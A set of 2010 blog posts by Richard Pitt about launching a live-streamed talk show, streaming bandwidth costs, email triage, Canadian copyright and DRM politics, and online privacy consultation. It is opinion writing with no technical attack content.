Richard Pitt — Tue, 26 Jan 2010 07:35:56 -0800

People with headphones and boom mics dominate the new internet talk show circuit. Lots of them are just your every-day garden variety people with a passion for some particular topic, but some have generated excellent followings in their particular vertical market.

From the web to tech, sports, religion and politics, there are people talking and trying to get noticed using the tools of sites like Ustream.TV and Justin.TV and others. Some, like Chris Pirillo (the locker gnome), have been doing this kind of thing for literally a decade or more. Chris, by the way, was the other half of one of the original Around the World shows done by David in the late 1990's out of the studios at Insinc, headed up by my friend Hugh Dobbie.

On the other hand, I've searched high and low for a show in any way similar to what David Ingram's Around the World has been in the past and will again be in the future - a general interest show with high-quality guests and in-depth interviews on subjects ranging from politics to politicians' hobbies (Bill VanDer Zalm and his flowers) and authors on all manner of topics, musicians and artists, and even other show hosts. Yes, there are web versions of the traditional TV offerings - but nothing that takes advantage of the interactivity of the web and yet provides solid and generally interesting interviews and opinions.

But we're going to change that. Over the next few weeks and months we're going to experiment with and get comfortable with the new technologies available from one or more of the live streaming video sites. We'll start with Ustream.TV this week and, depending on how things go, may move to something different at some point in the future. You'll always find us at www.david-ingram.com and here on www.digital-rag.com but the underlying service may change. Of course the archives and stories will be on our sites too.

Come on along and interact and support us - we're counting on you. Wednesday Evenings from 6PM to 9PM Pacific time.

richard (and David Ingram)

Live Streaming Video Sure Has Changed in 4 Years

Richard Pitt — Mon, 25 Jan 2010 08:35:26 -0800

In 2005, when we created the live video sensation of the year with the Hornby Island Eagle Nest Camera, there simply were no live video services capable of helping us make money from what turned out to be 40,000 live streams on for over 4 months solid. The technology and techniques simply didn't exist.

All such streaming video shows at that time were limited to "pre" and "post" roll advertising insertions - aimed at episodic (relatively short shows done daily/weekly etc.) or file archives. That model didn't work for our camera because, although there could be, and was, a pre-roll when someone joined the stream, there was never any post-roll because the stream never stopped - and the length of time someone could watch was measured in days and months, not hours and minutes so the potential cost per viewer was measured in tens and hundreds of dollars rather than pennies and dimes.

Flash forward to today - and there are several companies whose business model is exactly what we needed - live insertion of overlay advertising onto non-stop video streams. Four short years and a new industry has exploded onto the market.

Today I'm shopping around for a hosting service for David Ingram and my new weekly show. Yes, it's episodic, but many of the services I've found will let you broadcast 24x7 streams of your hummingbird feeder or your puppies playing and sleeping - and yes, your news and views program. They (the service providers) don't care what it is your stream consists of - as long as you attract people who don't mind ads showing up on the bottom of the screen every so often.

But what is the economic trade-off with such services? Should we host our own? We've been doing this for the first year as we have done the financial shows - mostly because many of these shows were paid advertising - so our costs were covered. Going to a strictly ad and donation based revenue model means we would have to somehow cover our bandwidth use ourselves even if we got no donations/ads.

Back when I first got started with David Hancock and the Hornby project I did some calculations on what a live stream took in the way of network costs per viewer.

A stream at about 350Kbits/second (the rate we were set to use) will use something close to 100 Gigabytes of network bandwidth in a month. At that rate we felt we needed to purchase bandwidth at a cost that would allow us to sell it to viewers - or advertisers - at about $10-$15/month. Remember, this is 24x7 viewing and the advertising paradigm for live video had not been tested or perfected. We were looking at pay-for-view mostly.

At the time the best we could find was about $50 per megabit of bandwidth per month - and 1 megabit is about the equivalent of 3x350Kbps streams - so each stream would have been about $17/month. To get this rate we would have had to pre-pay for a minimum of 1000 Mbps or 1 Gbps - at a cost of $50,000/month whether we had any viewers (paying) or sold any advertising. Just not an option for what we expected would be a few hundred at most people in various universities around the world who might be interested in such a "paint-drying" stream of video.

As it turned out, we got bandwidth from several places, including a donation from Microsoft at one point (we were using Microsoft Windows Media Server at that point - and stressing it hard enough that they got involved because they were intrigued by how my friend Ed Clunn was managing to do this) as well as from a company making an entry into the streaming video market. Fortunately we (David and I) didn't have to fund this ourselves.

The company that did most of the streaming took a bath on the costs - didn't make enough from the ads, and ended up getting out of the market.

Pretty much the same thing happened the next year.

The third year, the newly formed Hancock Wildlife Foundation funded its own server and limited the numbers viewing to only what we could afford - about 90 at any time.

This past year Hancock Wildlife Foundation hooked up with WildEarth.TV and run via the facilities of Zaplive.TV. WildEarth has made a business of pulling in all manner of wildlife video feeds and shares the revenue from the streaming ads - a great way of doing business for a small foundation.

But what about for a budding live interview and call-in setup like Around the World? What else is there out there that we can use - and hopefully make some money with? We know how to make our shows interesting - and we know how to get people to watch them - but the work of finding and dealing with advertisers is something best done in bulk with automated facilities currently not easily managed by individuals - although there are pieces of this pie available too that I'll go into in another piece.

Well, if you put "free live video streaming" into Google the first one that pops up is Ustream.TV - and David's son, Mitchell, was using it a couple of nights ago from his bedroom - and got all manner of people interacting with him. I signed up yesterday and have to say that I'm sure impressed with how far such a facility has come in the past couple of years. I've also just signed up with Zaplive.TV - but while I'm waiting for the confirmation password I've been browsing their site - and found that despite my language choice (English) there are many screens that are in German (it is a German company) so I'll have to see if this is something that is fixed if I use IE on Windows as I'm using Firefox on Linux currently.

I've also had an account on Blip.TV where we've hosted many of David's previously aired TV shows. They are oriented toward file uploads only at this time, but are not limited to 10 minutes like YouTube is, at least until you earn their "Partner" award.

Of course all such sites that host "free" video have their "gotchas" - such as Ustream's License Grant section of their Terms of Service:

(i) License Grant. Ustream.tv does not claim ownership rights in your User Submissions. However, by uploading, streaming, submitting, emailing, posting, publishing or otherwise transmitting any User Submission to Ustream.tv or on the Site, you hereby grant Ustream.tv a non-exclusive, worldwide, royalty-free, sublicensable, perpetual and irrevocable right and license to use, reproduce, modify, adapt, prepare derivative works based on, perform, display, publish, distribute, transmit, broadcast and otherwise exploit such User Submissions in any form, medium or technology now known or later developed, including without limitation on the Site and third party websites. You represent and warrant that you own or have the necessary licenses, rights, consents and permissions to grant the foregoing licenses to Ustream.tv. Ustream.tv will own all right, title and interest in and to all derivative works and compilations of User Submissions that are created by Ustream.tv, including all worldwide intellectual property rights therein. You agree to execute and deliver such documents and provide all assistance reasonably requested by Ustream.tv to give to Ustream.tv the full benefit of the rights granted to Ustream.tv by you.

So... do David and I want to sign away these rights just so we don't have to pay for our own streaming bandwidth? It's something we have to decide. The other services have pretty much the same type of license requirements. Only if we use our own paid-for bandwidth do we retain all rights.

Of course the streamed version of our shows is not the only, or the best, version of most of them. We run a local hi-res archive server that captures the mixed video and audio for later mix-down and re-use. The stream carrier only gets the flash-video version, not the MPEG2 version. The other thing is that with the huge numbers of streams these sites host, most of their 're-publishing' - is completely automatic and only helps us by building the market for our show. On balance, I think this is the way we'll go.

I'll write more on what facilities each of these servers have - in the mean time, tune in to the show each Wednesday evening from 6PM onward, Pacific time, at www.david-ingram.com (for now - maybe also or instead from right here on www.digital-rag.com)

richard

How to Get Your Email Ignored

Richard Pitt — Mon, 25 Jan 2010 00:01:54 -0800

I receive far more email than virtually anyone else I know. I receive it for two reasons - I have a lot of different addresses including several on most of my customers' domains such as postmaster and webmaster, and I don't filter as hard for spam as many ISPs now do.

This means I get to see examples of what others try to send that might be spam in the definition of being sent out unsolicited, but which is not nearly as "spammy" as the stuff that is unsolicited and sent in the millions by rogue robot-pcs.

I get all manner of what are probably legitimate introductions to companies and products and people - yet I open virtually none of them - how do I determine which ones to open? How can you ensure that your lead-in email to someone, whether it is for something commercial or just to ask them a favour or for some information, gets seen and opened?

I don't know about you, but I have my email set up so that anyone I've previously corresponded with gets pulled out of the INBOX by my message filters and put into a separate box - might be by their name, their job/business name, or by some grouping such as friends, industry contacts, etc. This leaves only those messages from people I've never received from before in the INBOX.

Using Evolution (an open source lookalike for Microsoft Outlook) I can set up the INBOX without a preview pane - so I only see the message subject, date, from and to addresses. I added the "TO" column because I have so many different email addresses that come to me - and knowing which of the many the message was addressed to aids me in figuring out if the sender is really trying to reach ME or trying to reach anybody who will open the message (i.e. is spam)

Email sent to "root@xyzmachine..." that is not already grabbed by my filters as a machine report is spam - no doubt. Same with stuff sent to my account at some specific machine since that is NOT my address, it is merely one of many delivery options I set.

Email without a subject, or with a subject that is patently bogus, like "your lottery win" (I don't play lotteries), or "Facebook new login system" (they will never send such email - they'll announce it on their web site front end) or "possible fraud transaction" from my bank (they phone me - and they know my balance and how much my last payment was and where I live and that I won't talk details over my cell phone) get turfed immediately.

That leaves few, if any, left for me to think about opening.

Anything with an attachment at this point gets thrown - anybody who sends me an attachment without first telling me they're going to send it - or without having already corresponded a lot with me, is simply wasting bandwidth.

Anything that does not have something in it about one of the subjects that I, personally, deal with in my daily life is likely to get junked. This is a fairly short list which includes any of my customers' names, any of the several technical subjects I deal with, or any of the political or other movements I deal with, or the name of one of my friends or relatives. No other need apply. You need to know something about ME and what I do in order to get my attention.

I got an unsolicited inquiry the other day with the subject "video tech support" - and darned near didn't open it. But I did, and it was an inquiry about something I do - namely wildlife video technical consulting.

What would have been a better subject? Well, putting the word "wildlife" in there sure would have helped a lot. Putting a reference to Hancock Wildlife Foundation would have been better. But even making the phrase a full sentence like "I need some help with my wildlife video project" sure would have made a difference.

You see, the spammers mostly don't know English very well - and some of the broken phrases they use are a dead give away. I expect they'll learn better English over time - they've learned better programming and better human dynamics already.

So... if you really want me to open your first email to me you'll have to learn a lot more about me and use that knowledge to "spear fish" me directly. Casting a wide net that just might get almost anyone to open your email just isn't good enough.

People Power(ed)

Richard Pitt — Sun, 24 Jan 2010 08:38:10 -0800

My son, Michael, went to the anti-prorogue gathering in Vancouver yesterday. The Facebook group, Canadians Against Proroguing Parliament, has 214,067 members as I write this (I'm one of them) and there are another 89 groups with the word "prorogue" in them - statistically highly unlikely to be unrelated - with probably another 20,000 members total.

Barack Obama's presidential campaign proved that the internet is a political powerhouse - and Stephen Harper just proved he doesn't understand its power.

Barack Obama's YouTube channel has 1887 videos. Stephen Harper doesn't have a YouTube channel that I can find (there is one but it isn't him)

Governments and politicians all over the world are either embracing or trying to stifle the internet. What happens is up to us, the people who use it - especially those who use it to show governments and politicians that we're watching what they do, commenting on it, and gathering others of like mind to aid or oppose as the case demands.

Everyone has their pet peeve or pet project. The best thing you can do about it today is to tell others - others who may also share your peeve/project and who might tell others - and others and... pretty soon you have a movement. This of course works in "meat space" where you actually talk to others - but it works even better in the social network space.

Don't be put off if you don't get a ton of notice the first time you bring up a subject. Bring it up again in a different light, at a different time (even literally different times of day can make a difference) and if you really believe in it be persistent.

And of course if think we can be of help - tell David Ingram and me and we'll see about doing something on Around the World

Tag: youtube barack obama stephen harper politics

Around the World - Richard Pitt and David Ingram

Richard Pitt — Sat, 23 Jan 2010 12:26:04 -0800

Around the World with David Ingram is being re-launched and I'll be co-hosting with David. We're going to focus less on financial and tax and more on general subjects in much the same manner as David's award-winning cable TV show a few years ago.

Our first show was last Wednesday and the archives are up now, all 22 pieces of the almost 3 hour show hosted on YouTube.

Our topic for the show, other than letting you know we are launching, was Globalism and the Internet, in keeping with my recent series of articles on this subject.

We'll be doing future shows on such topics as the Insurance Corporation of BC (ICBC) and other government departments and topics as well as talks with authors, businessmen and other interesting people.

The major difference between our show and the typical talk-show is the depth we'll be doing on any individual subject. Most guests and topics will be on for at least an hour, and you'll be able to call in and ask questions of them and us about the topic.

Tune in every Wednesday evening to www.david-ingram.com and call us with your comments and questions.

Discretionary Cash - You Vote With Your Dollars

Richard Pitt — Fri, 22 Jan 2010 08:58:18 -0800

If you didn't spend your money on a Starbuck's or other specialty coffee every day, what would you be spending it on? In 2008, 10.4 Billion dollars was Starbuck's revenue and they're only one of the tens of thousands of such establishments.

How about the money you spend monthly on your cell phone? Discounting those of us for whom it is a business expense and necessity, what would that extra $25/month go toward if you didn't spend it this month?

What percentage of your spare cash goes to computer games? What did you spend this on before such games were invented?

These are questions that you as a consumer need to stop and ask yourself some times. But more than just you, the industries left in the dust need to ask that question too - but do they?

If the music and video industries asked themselves that question - and took into account the declining number of releases they've allowed in recent years, maybe that would be the reason their sales have declined, not "file sharing" that by all (other than industry) accounts actually have helped sales by exposing back catalogs and lesser-known artists. Of course the music publishers only want top-of-the-chart product to be sold and their whole compensation and sales system is geared toward that.

Maybe they should change instead of trying to force their customers - us - to change by getting governments to impose laws and regulations that are technology stifling.

You vote with YOUR dollars and they lobby with what you give them - so maybe we shouldn't give them any more, eh?

Support publishers who "get it" - like Nettwerk Productions and others who are working with the new technology instead of trying to bury it.

Privacy Commissioner of Canada Wants Your Input on Internet Privacy

Richard Pitt — Thu, 21 Jan 2010 00:01:46 -0800

Do you know where your personal information is today? You should - but "they" won't even tell you they're collecting it. HELP!!!

The Privacy Commissioner of Canada has launched a public consultation on emerging technologies, including online tracking, profiling and targeting of consumers by business. The deadline for written submissions is March 15th.

"In the practice of online consumer tracking, data about the browsing habits of individuals is collected through digital markers such as cookies. Additional data may be gathered using other technologies, such as deep packet inspection and the global positioning systems (GPS) common in many mobile communications devices.

Individuals themselves, moreover, volunteer significant amounts of personal information, especially through their participation in social networking sites, such as Facebook, MySpace and LinkedIn, and other popular web-based services such as foursquare.

Personal data can be collated and mapped against other types of information to generate detailed personal profiles. Such profiles are valuable to marketers and other enterprises that want to target products or services to people of a particular demographic or with specific purchasing preferences. Companies may also use the information to evaluate the popularity or success of their online products or services.

Proponents say that online consumer tracking, profiling and targeting supports free Internet content, allows people to receive more relevant advertising and discount offers, and promotes the development of useful services. For example, in conjunction with data from sources such as GPS and cellular networks, users can enjoy location-based services that recommend nearby restaurants or keep tabs on the whereabouts of friends.

Critics, however, warn that people may be unaware that their personal information is being collected, and do not understand how it is used. They also argue that, even when the information is anonymous, it can sometimes be combined with other information to identify individuals."

They're soliciting written submissions from the general public and I intend to submit one. What I'm looking for is information from you, including opinions, that I can include in my submission.

I know you are busy - so am I - but if we work together maybe we can counter the well-funded lobbyists, including those of the publishing industries who want to be able to include privacy-invasive information gathering in the Digital Rights Management systems they want the government to enshrine in law that we can't break or circumvent.

There have been 3 recent Copyright law bills proposed that completely break privacy in my humble opinion. Fortunately all three have fortunately died on the order paper - but the most recent news is that the United States is using their ability to block trade in sugar from Costa Rica until Costa Rica (a nation of about 4.5 million people) knuckles under and implements a US-style copyright regime complete with "DMCA-style protections" (aka you're guilty until you prove you're innocent). With Free Trade always on the table between Canada and the US, and the "secret" ACTA in negotiation which includes similar copyright and anti-circumvention provisions to the DMCA, now is the time to hook privacy into the argument in a big way.

In addition, the European Union is pressuring Canada to extend author copyright to 70 years from the current 50 (remember, it was originally 14 years) and also jump on the anti-circumvention bandwagon.

The privacy aspects in copyright must be addressed.

The privacy aspects of the internet in general must be understood and our government must be made aware of what we feel are relevant problems and concerns.

You have to think about this in the context of your use of technologies in the networked world - read on for some examples that should make you think - and hopefully respond.

An example of invasive privacy practices and aspirations (of business) in today's networked world

First Sale - you purchase something and yet you don't really control it or have the ability to do what you want with it

Games - there is a burgeoning second-hand game market (and movies, CDs, etc.)

While retailers reap the benefits of selling the same product multiple times, publishers and developers don't see any income once a title hits the second-hand market. But realising it's powerless to stop retail from selling second-hand goods, EA (Electronic Arts - a Canadian company) is looking to combat the problem by capturing the consumer with online content and services. - Gamesindustry.Biz (registration required)

You can lend or sell a book or game of Monopoly you purchase - but the electronic games (and music, video, ebook) publishers, because the can through the use of DRM (not because they have the right under current law) and/or tying sales to online connections (which violates your right to privacy), want to control and halt such secondary markets for their copyright products. This is directly against the "First Sale Doctrine" which balances copyright.

Music/Video CDs/DVDs/Blu-ray/downloads - You want to play these whenever/wherever you are - but the publishers want to wrap them up in software that rats on you - tells them where you are, what kind of player you're using, when you play, what you play - and you won't be allowed to stop them because you're not allowed to break the software and hardware protection measures they put on your machine. You won't be able to even decide if you want these measures on "your" machine.

If/when you go to sell/lend/dispose of your player machine you either can't easily (and then only if you identify yourself to the vendor), or can't at all, move your purchased recordings to another machine. The items you purchased and paid good money for may be removed from your "library" at any time in the future and you have no recourse. You can't sell or lend your purchased materials to someone else.

I refuse to purchase anything that is tied up/licensed such that it tells its creator about me and that tells me I can't do what I want with it in my personal use of it and in relation to disposing of it in the manner I choose.

How about you?

richard

Two words - Fair Use - Get To Know Them - You'll Miss Them

Richard Pitt — Wed, 20 Jan 2010 00:01:28 -0800

The United States, through the use of their "might is right" abilities in world trade and via secret negotiations of treaties, are trying to force the Digital Millennium Copyright Act (DMCA) onto any/all of their trading partners. Even if I felt that we needed tougher copyright laws (and I don't), why do I object to the DMCA being brought to Canada?

Why should YOU object to Canada adopting what the US is pushing us toward? Well you should read on for why I'm against it.

Two words - "Fair Use"

Along with these two words go the provisions of the United States constitution and its amendments, Bill of Rights, and the Supreme Court (and eventually its rulings) that no other country currently have as balances to a DMCA-like copyright law.

These two words and the rules of the playing field they are used upon - those of the United States - almost make the DMCA a "balanced" copyright act.

The problem is that we here in Canada don't have "Fair Use" in the US sense, nor do we have a Supreme Court with the same powers as the US or the US' constitution and specifically its 1st but also including the 4th, 6th, 7th and 8th amendments.

Note: IANAL - I am not a lawyer

Fair Use allows several options to the public, summarized in University of Ottawa's Canadian Internet Policy and Public Interest Clinic document, that balance copyright that Canada's Fair Dealing does not allow. But more than that, Fair Dealing is an exhaustive list (private study, research, criticism, review and news reporting) - if what you want to do is not on the list you're out of luck - no recourse to the courts. Fair Use in the US is a grey area - you're allowed to do it unless someone challenges you in the courts AND WINS - and they don't always win.

No Parody
No Reverse Engineering
No Transformative Use
No Time Shifting
No Media Conversion

And to top it all off, even if we had Fair Use, the Technical Protection Measures and Anti-Circumvention areas of such a law make the ability to participate in Fair Use all but impossible.

NO HACKING ALLOWED

That's essentially what the DMCA has accomplished through its anti-circumvention provisions. Under Section 1201(a)(1)(A) of the statute, "No person shall circumvent a technological measure that effectively controls access to a work protected under this title." In essence, no hacking allowed.

Now, that creates a huge conflict between fair use in theory and fair use in practice. Because if you want to take a digitally protected book or song or movie and make any number of fair uses of it, well, you probably can't. No backup copies. No excerpting for multimedia presentation. At least, not without breaking the encryption. And you probably can't do that without breaking the DMCA.

To be sure, the DMCA doesn't claim to eviscerate fair use. In fact, it contains an explicit exception: "Nothing in this section shall affect rights, remedies, limitations, or defenses to copyright infringement, including fair use, under this title." (www.law.com - registration required)

But we don't have Fair Use!!!!

And the European Union wants us to implement far more rigorous DRM/Anti-circumvention laws.

We get the vinegar of a strengthened DMCA without the sugar of Fair Use - even if we had a court system that could back up such Fair Use in the manner that the US courts have.

The ELectronic Frontier Foundation (EFF) says it best:

While it may be too early to draw final conclusions, it is plain that DRM technologies, backed by laws like the DMCA, pose a serious potential threat to fair use. While technical refinements may address or minimize some of the social costs that stem from an erosion of fair use, it is unlikely that they will entirely resolve the tension.

Even WITH Fair Use a DMCA-style copyright regime poses a threat. What will it do to us who don't have Fair Use?

And then there are the other areas where such a DMCA-style copyright law will affect you - you didn't think it was limited to just music and video and maybe books did you?

You'll lose access to the non-dealer network of car repairs as the manufacturers lock down their computerized control systems under the DMCA and prevent your mechanic from having access to them.

You'll lose the ability to purchase non-authorized replacement parts (toner cartridges for example) for your computer-laden systems.

You'll lose the right to secure your computer from unwanted and unauthorized and invasive software such as Sony's root kit.

richard

The Artists Tell Their Side

Richard Pitt — Tue, 19 Jan 2010 00:01:39 -0800

I was reminded as I was looking back over my Blank Media Levy writings about a an article written by Janis Ian back in 2002. Janis, in case you don't know, is a musician who has had her share of hits, mostly back in the late 1960s and mid 1970s with her most memorable hit being "Society's Child", a song that still sends shivers up my spine when I hear it. Make sure you read her follow up which is a PDF wherein she makes "A modest proposal for an experiment that might lead to a solution" - an experiment that has not taken place yet I might add. Yes, Apple has come close - but not close enough.

Janis is web savvy and still producing music and touring. Her take on what was/is wrong with the music industry, even though written 7+ years ago, is still right on.

She also points to the Baen Free Library - a publisher actually "gets it" and notes that the free download initially put up by its proponent, Eric Flint, immediately got him feedback and sales.

Says Eric, "Word of mouth, unlike paid advertising, comes free to the author — and it's ten times more effective than any kind of paid advertising, because it's the one form of promotion which people usually trust."

You might also take a look at some of the letters and comments he's received in his "Prime Palaver" area.

More recently the Canadian Music Creators Coalition shows 209 different artists who together protest the actions of the music publishers in trying to extend copyright law in the directions taken in the US.

Please let these artists know that you support them.

What A Difference A Few Generations Make

Richard Pitt — Mon, 18 Jan 2010 08:51:43 -0800

Away back in the early years of my life I made some interesting electrical devices powered by old fire alarm batteries (big 1.5 volt cells the size of a flashlight with terminals on the top) and various containers, lights, switches and things. I even made a "Reach for the top" game setup back in grade 3.

I wound my own solenoids and made buzzers and switches. Played with old tube radios and made amplifiers out of them. Zapped myself several times with the B+ voltages including one time with the 25,000 volts on a color TV.

Think what would have happened to me in today's world where an 11 year old student in San Diego and his parents have had counseling recommended because the authorities thought the student's science project was a bomb. It wasn't - it was a home-made motion detector.

They want the STUDENT to get counseling! And his parents!

As far as I'm concerned the various over reacting officials need the counselling.

Hey people. Give your head a shake. According to the US National Science Board report recently, the US is losing the "Right Stuff" in science and engineering. Maybe your paranoid tendencies - seeing boggie men everywhere and bombs in bits of child-produced science projects - just might have something to do with this.

You can't find a decent science chemistry set these days, they've all had the really serious chemicals removed. You can't play with mercury anymore. You can't purchase the makings for gunpowder at the local pharmacy anymore. No more big picture tubes to knock the neck off and make a big bang. I mean, what's a kid to do when he wants to really learn through hands-on experience eh?

I mean if that had happened to me I might have turned out "normal" - maybe I'd be an actuary or some other boring profession.

A Global Perspective on the Internet - Part 4 - the Future

Richard Pitt — Sun, 17 Jan 2010 00:01:15 -0800

The future of the internet is not at all clear at this time. If the publishers and some governments have their way it will become merely another set of "airwaves" to be heavily regulated, taxed and bureaucratized. If you don't believe me, you might take a look at this story from Italy about their Communications Ministry wanting any/all who upload video to the internet to get a license. Absurd! The various proposals (and implementations) of a "3 strikes" law removing access to the internet is also absurd.

In Part 1 we dealt with basic copyright laws both in place and in the works to help prop up the publishing industry as it has been for hundreds of years.

In Part 2 we dealt with how your rights as the owner of hardware or purchaser of services have been and continue to be eroded.

In Part 3 we dealt with privacy and how it is being eroded.

In this part we'll sum the series up and deal with some insights into what might happen in the future - and what you can do to forestall the erosion of your rights under copyright and the extension of intrusive behavior into your lives at every point.

Your digital life as you've come to know it, whether you're a first-grader with a game machine at home and maybe a OLPC with the wonderful Sugar desktop, a "tweenager" with your cell-phone/PDA, a Gen-Y with your laptop and cellphone, or a Gen-X just getting comfortable with such a connected world, may take a change for the worse over the next few months and years.

You've grown up with or discovered a world of connections, connections that are part of your daily life now. You share moments and thoughts and activities with people at a distance, no longer tied to the back fence or local coffee shop to have such friendly moments.

In the coming months various governments are poised to do the bidding of the publishing establishment in clamping down on the freewheeling aspects of the internet. They'll put in place trade agreements, laws and regulations that will make the recent actions of China look tame.

Here in Canada, the CRTC (Canadian Radio Television Commission) has so far taken a hands off attitude to the internet in general. This may be about to change. They're certainly getting lots of push to do so from some sectors.

The fact that the CRTC thinks it even has jurisdiction over this "New Media" is of great concern since its original mandate was more in line with regulation of a scarce resource, the radio waves, which the internet isn't. There is no limit to the "channels" on the internet - you can have one or more personally (I have several myself) and so can anyone else. In contrast there is a limit on the number of radio and TV broadcast stations in any geographic area due to the limitations of the radio spectrum allocated to it. Even that limitation is almost a non-issue with the added resources available with multi-gigahertz radio these days. Witness the fact that cell phones can handle video for any/everyone in a cell area, all watching different things.

What the heck is going on here?

What is going on is that those with money and secure jobs are lobbying to keep the money and the secure jobs. They're misusing statistics and economic information to paint a picture that governments all over the world are being told to see as looming disaster. They're using every political trick in the book to hornswaggle the public and continue buggy-whip technologies in the face of technological innovation.

The publishers

"Rampant copying is costing us billions in lost sales" - no, rampant copying by individuals is acting in somewhat the same manner as you giving away free promotional copies of your works to radio stations or TV stations - people are purchasing music, videos and books - they're just tasting them a lot before they decide to buy. You're not losing sales to private copying so stop shouting about the amounts you're "losing". If you could really collect all those billions you claim you're owed you'd ruin the economy and the businesses of selling junk food, hot cars, chocolate bars, cell phones and every other non essential product on the market.
"Our sales are down because of copying" - no, your sales are down because people have other things than music and videos and books to spend their money on, like cell phones and text messaging and games.
"Only Digital Rights Management will save us from copying and piracy" - no, DRM won't save you from piracy at all - the pirates copy your DRM'd product exactly. The effects of DRM on your customers however is to annoy them enough that they look elsewhere for entertainment. On balance, DRM is not cost effective and mostly ineffective.
"When we force the manufacturers to treat the customer as enemy all our troubles will be over" - no, the customer will do something else - they'll spend their money on things that don't annoy them or they'll find ways around your locks. They'll always be able to find artists who don't subscribe to your ways of doing things too.
"If we control the player(s) technologies you view the content on completely, we'll be able to stop illegal copying" - maybe - but probably not. And if you do control the players (including my computer) 100% then I'll lose my fair use/fair dealing rights and I'll be upset. You must play by ALL the rules and you're not allowed to make them up as you go along.

Publishers of all kinds, video, music, book, all are seeing their sales of their traditional products drop. Their authors, musicians and performers are finding other ways to make money from their creations - and cutting out the middle man. Customers are finding ways of avoiding the "tied sales" of albums and are purchasing only the tracks they like.

But even if the publishers were not lobbying the government for changes, the government bureaucracy itself might still screw up your digital life on its own.

The Governments

Government bureaucracy is not benevolent to the governed (aka you and me) - it tends to be self-sustaining and ever more invasive. Recent studies have shown the amount of "red tape" involved in running a small business in Canada is sucking literally billions of dollars from the economy and providing little in compensation. The CRTC in Canada and similar bureaucracies throughout the world want to impose similar red tape burdens on those who use and create content for the internet. The managers benefit by "justifying" increased staff and budgets - and by making their jobs more secure.

Regulation of "Canadian (aka domestic) Content" - how in heck can you regulate something like that? Canadians all over the world, not just in Canada, post information and media all the time. Those from other countries do the same. They post it to computers that are not even in their own country in many cases, and they share their content with friends as well as people they've never met. This is not like trying to enforce Canadian content on a handful of stations whose signals are picked up by Canadian cable companies. Even that model is breaking down in the face of the fully wired cable world compared to the TV antenna-on-the-roof world. Content is being brought in from different timezones, why can't it be brought in from different countries too?
My friend David Ingram and I create a video program most Wednesday evenings, stream it live and put the archives up on YouTube (which is what I'm doing as I write this). At this point we're not making much money at it - not enough to cover costs - but we're doing it. If we had to jump through the kinds of regulatory hoops that Italy is proposing or that Canadian TV/Radio broadcasters have to jump through there's simply no way we'd even contemplate such a show.
Imposition of content regulation including advertising % etc. I have no problem with after-the-fact regulation of such things as fraudulent claims and exploitation of children (aka kiddy porn) but these are already dealt with through existing laws. If anything, I'd say that they justify governments working more closely together across borders, or assigning the cross-border enforcement to some international body, but nothing justifies the pre-registration of any content creator on the internet above such content creation by artists in their own basements, lofts and studios. If/when someone justifies to me the licensing of a child prodigy sitting at their own piano composing the next masterpiece, then I might just consent to the licensing of the parent who took the video of this act prior to it being uploaded to YouTube, but probably not.
The concept of Hancock Wildlife Foundation's advertising supported eagle video cameras and their subsequent "broadcast" to thousands of people throughout the world simply could not have happened under governmental control of internet broadcast.

Different ways we use and view copyright materials

The publishers think that everyone is simply copying each others' video, music and book libraries. Yes, some are - and here in Canada the fact is that copying music in such a way is currently legal - and compensated for by a "Blank Media Levy" - but this does not apply to video or books.

The publishers look at their supposedly declining sales and cry foul. What is really happening here? They're actually looking at their so called "lost sales" figures - the "value" of the copies that people have made via use of their computers that has not put anything directly into the coffers of the publisher. The problem is these are phantom sales the publishers are counting. There is no way they represent a real market for the product the publishers are offering. What appears to be happening is that peer to peer file sharing and other copying methods are acting like the free samples used in other industries and by the music/video industry themselves when they give copies of new works to the radio stations for promotion.

The consumer is now able to generate their own free samples, sample a work, and decide whether they want to support the artist by purchasing a copy.

If this were not true then the sales of theater tickets, music, video disks and books would continue to decline when in fact we're seeing flat, if not rising sales overall. The problem from the publishers' point of view is that many of these sales are bypassing their coffers and going directly to artists. "There aught to be a law!" - and so the publishers use their size and economic might to lobby governments to enshrine the publishers' piece of the pie.

Of course the publishers no longer control the printing presses - any computer is the digital equivalent. What the publishers want to control is the keys to the locks they want to install on your computer and the internet - Digital Rights Management (DRM). It takes a bureaucracy to create and keep such keys in place and get the locks built in to your computer at the factory. A single artist can't do this, only a publisher has the incentive and resources to try and do it. That's what they're doing.

OK - now you know that much of the political rhetoric and posturing is all about money. What else did you think it was about?

What can you do about this?

The first thing is to inform your local federal politician that you're concerned about the potential restraint of technology advancement and loss of rights that may come about with the imposition of regulation and censorship on the internet in general and the imposition of laws against circumvention of Digital Rights Management where it interferes with personal use of purchased equipment and media.

Then get more education about the concerns in your particular jurisdiction.

Here in Canada you should keep up with Michael Geist's blog and at least watch this video, "Why Copyright"

You should guard yourself from being locked out of things you purchase - if this means not purchasing products that have electronic locks then so be it. Vote with your dollars. There are growing numbers of creators who are not interested in locking up their works behind DRM - patronize them and purchase from them.

If you get locked out of something - complain - loudly - to your friends and peers and the world. Tell your part of the story in public. Publicity about problems is one of the best ways of getting things changed.

What happens if you do nothing?

If nothing is done, we all lose.

We lose the right to control our own computers and media players.

We lose privacy as DRM schemes suck information about our viewing and listening habits into corporate coffers.

We lose the balance of copyright law that allows (encourages) us to create new content based on things learned from prior art.

We lose the ability to report and comment on copyright works

We may lose the ability to record things around our lives if the circumstances include something "locked" under copyright.

We may lose the ability to learn from the past or even know what happened because accounts of the happenings are locked and can't be unlocked.

We lose the public domain

Please don't let them win

richard

Tag: drm copyright music video books publishing law canada

If It Ain't Broke...

Richard Pitt — Fri, 15 Jan 2010 09:27:05 -0800

I'm a computer professional - it says so right here on the box! If that's so then why have I spent the past 3 days upgrading my computer workstation when by rights it should have taken me a couple of hours?

I guess the fact that the workstation is more than just a machine I purchased at the local Future Shop probably has a bit to do with it, along with the fact I don't run Windows on it.

You see I push the limits of many of the technologies we think of as commonplace these days. Let me tell you a bit about it...

I've been a non-Windows person for much of my computer life. In fact, Microsoft Windows had not been written (Microsoft didn't invent it, people at Xerox PARC did - then Apple perfected it and Microsoft warped it to sit on top of their text-based MS-Dos) by about 20 years when I first started working with computers in the early 1970s. I'd played with them for almost 15 years prior to that - including a very primitive hardware "computer trainer" back in my grade 10 electronics class. It had just enough logic on it to make an 8-bit "ring counter" if you wired it just right.

